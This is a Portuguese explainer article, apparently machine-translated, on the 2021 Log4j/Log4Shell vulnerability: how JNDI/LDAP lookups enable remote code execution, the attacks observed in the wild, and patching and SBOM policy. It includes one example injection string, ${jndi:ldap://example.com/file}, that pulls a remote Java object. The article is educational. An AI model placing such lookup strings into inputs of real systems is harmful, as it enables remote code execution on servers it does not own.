Conteúdo[Esconder][Mostrar]
No final de novembro de 2021, descobrimos uma grande ameaça à segurança cibernética. Essa exploração afetaria potencialmente milhões de sistemas de computador em todo o mundo.
Este é um guia sobre a vulnerabilidade do Log4j e como uma falha de design negligenciada deixou mais de 90% dos serviços de computador do mundo abertos a ataques.
Apache Log4j é um utilitário de log baseado em Java de código aberto desenvolvido pela Apache Software Foundation. Originalmente escrito por Ceki Gülcü em 2001, agora faz parte do Apache Logging Services, um projeto da Apache Software Foundation.
Empresas de todo o mundo usam a biblioteca Log4j para habilitar o registro em seus aplicativos. Na verdade, a biblioteca Java é tão onipresente que você pode encontrá-la em aplicativos da Amazon, Microsoft, Google e muito mais.
A proeminência da biblioteca significa que qualquer falha potencial no código pode deixar milhões de computadores abertos a hackers. Em 24 de novembro de 2021, um nuvem de segurança pesquisador que trabalha para o Alibaba descobriu uma falha terrível.
A vulnerabilidade Log4j, também conhecida como Log4Shell, existia despercebida desde 2013. A vulnerabilidade permitia que agentes mal-intencionados executassem códigos em sistemas afetados executando o Log4j. Foi divulgado publicamente em 9 de dezembro de 2021
Especialistas do setor chamam a falha do Log4Shell a maior vulnerabilidade na memória recente.
Na semana seguinte à publicação da vulnerabilidade, as equipes de segurança cibernética detectaram milhões de ataques. Alguns pesquisadores até observaram uma taxa de mais de cem ataques por minuto.
Como funciona o Tech & Data Studio:
Para entender por que o Log4Shell é tão perigoso, precisamos entender do que ele é capaz.
A vulnerabilidade do Log4Shell permite a execução de código arbitrário, o que basicamente significa que um invasor pode executar qualquer comando ou código em uma máquina de destino.
Como ele consegue isso?
Primeiro, precisamos entender o que é o JNDI.
O Java Naming and Directory Interface (JNDI) é um serviço Java que permite que programas Java descubram e pesquisem dados e recursos por meio de um nome. Esses serviços de diretório são importantes porque fornecem um conjunto organizado de registros para os desenvolvedores consultarem facilmente ao criar aplicativos.
A JNDI pode usar vários protocolos para acessar um determinado diretório. Um desses protocolos é o Lightweight Directory Access Protocol, ou LDAP.
Ao registrar uma string, log4j executa substituições de strings quando encontram expressões da forma ${prefix:name}
.
Por exemplo, Text: ${java:version}
pode ser registrado como Texto: Java versão 1.8.0_65. Esses tipos de substituições são comuns.
Também podemos ter expressões como Text: ${jndi:ldap://example.com/file}
que usa o sistema JNDI para carregar um objeto Java de uma URL por meio do protocolo LDAP.
Isso carrega efetivamente os dados provenientes desse URL na máquina. Qualquer hacker em potencial pode hospedar código malicioso em uma URL pública e esperar que as máquinas que usam o Log4j o registrem.
Como o conteúdo das mensagens de log contém dados controlados pelo usuário, os hackers podem inserir suas próprias referências JNDI que apontam para os servidores LDAP que eles controlam. Esses servidores LDAP podem estar cheios de objetos Java maliciosos que o JNDI pode executar por meio da vulnerabilidade.
O que torna isso pior é que não importa se o aplicativo é do lado do servidor ou do lado do cliente.
Enquanto houver uma maneira de o logger ler o código malicioso do invasor, o aplicativo ainda estará aberto a explorações.
Quem é afetado?
A vulnerabilidade afeta todos os sistemas e serviços que usam o APache Log4j, com versões 2.0 até 2.14.1 inclusive.
Vários especialistas em segurança informam que a vulnerabilidade pode afetar vários aplicativos que usam Java.
A falha foi descoberta pela primeira vez no videogame Minecraft, de propriedade da Microsoft. A Microsoft pediu a seus usuários que atualizem seu software Minecraft de edição Java para evitar qualquer risco.
Jen Easterly, diretora da Cybersecurity and Infrastructure Security Agency (CISA), diz que os fornecedores têm um grande responsabilidade para impedir que usuários finais de agentes mal-intencionados explorem essa vulnerabilidade.
“Os fornecedores também devem se comunicar com seus clientes para garantir que os usuários finais saibam que seu produto contém essa vulnerabilidade e devem priorizar as atualizações de software.”
Os ataques já teriam começado. A Symantec, uma empresa que fornece software de segurança cibernética, observou um número variado de solicitações de ataque.
Aqui estão alguns exemplos dos tipos de ataques que os pesquisadores detectaram:
- Botnets
Botnets são uma rede de computadores que estão sob o controle de um único atacante. Eles ajudam a realizar ataques DDoS, roubar dados e outros golpes. Os pesquisadores observaram o botnet Muhstik em scripts de shell baixados do exploit Log4j.
- Trojan Miner XMRig
XMRig é um minerador de criptomoeda de código aberto que usa CPUs para minerar o token Monero. Os cibercriminosos podem instalar o XMRig nos dispositivos das pessoas para que possam usar seu poder de processamento sem seu conhecimento.
- Ransomware Khonsari
Ransomware refere-se a uma forma de malware projetada para criptografar arquivos em um computador. Os invasores podem exigir pagamento em troca de devolver o acesso aos arquivos criptografados. Pesquisadores descobriram o ransomware Khonsari em ataques Log4Shell. Eles visam servidores Windows e fazem uso da estrutura .NET.
O que acontece depois?
Especialistas preveem que pode levar meses ou talvez até anos para corrigir completamente o caos causado pela vulnerabilidade do Log4J.
Esse processo envolve a atualização de cada sistema afetado com uma versão corrigida. Mesmo que todos esses sistemas sejam corrigidos, ainda há a ameaça iminente de possíveis backdoors que os hackers podem já ter adicionado à janela em que os servidores estavam abertos para ataque.
Muitos soluções e mitigações existem para evitar que aplicativos sejam explorados por esse bug. O novo Log4j versão 2.15.0-rc1 alterou várias configurações para mitigar essa vulnerabilidade.
Todos os recursos que usam JNDI serão desabilitados por padrão e as pesquisas remotas também foram restritas. Desabilitar o recurso de pesquisa na configuração do Log4j ajudará a diminuir o risco de possíveis explorações.
Fora do Log4j, ainda há a necessidade de um plano mais amplo para evitar explorações de código aberto.
No início de maio, a Casa Branca divulgou um ordem executiva que visava melhorar a segurança cibernética nacional. Incluía uma provisão para uma lista de materiais de software (SBOM), que era essencialmente um documento formal que continha uma lista de todos os itens necessários para construir o aplicativo.
Isso inclui peças como o open source pacotes, dependências e APIs usadas para desenvolvimento. Embora a ideia de SBOMs seja útil para a transparência, ela realmente ajudará o consumidor?
Atualizar dependências pode ser muito trabalhoso. As empresas podem simplesmente optar por pagar quaisquer multas em vez de arriscar perder tempo extra para encontrar pacotes alternativos. Talvez esses SBOMs só sejam úteis se seus escopo é ainda mais limitado.
Conclusão
A questão do Log4j é mais do que apenas um problema técnico para as organizações.
Os líderes de negócios devem estar cientes dos riscos potenciais que podem ocorrer quando seus servidores, produtos ou serviços dependem de códigos que eles próprios não mantêm.
Confiar em aplicativos de código aberto e de terceiros sempre traz algum risco. As empresas devem considerar a elaboração de estratégias de mitigação de riscos antes que novas ameaças venham à tona.
Grande parte da web depende de software de código aberto mantido por milhares de voluntários em todo o mundo.
Se quisermos manter a web um lugar seguro, governos e corporações devem investir no financiamento de esforços de código aberto e agências de segurança cibernética, como CISA.
Deixe um comentário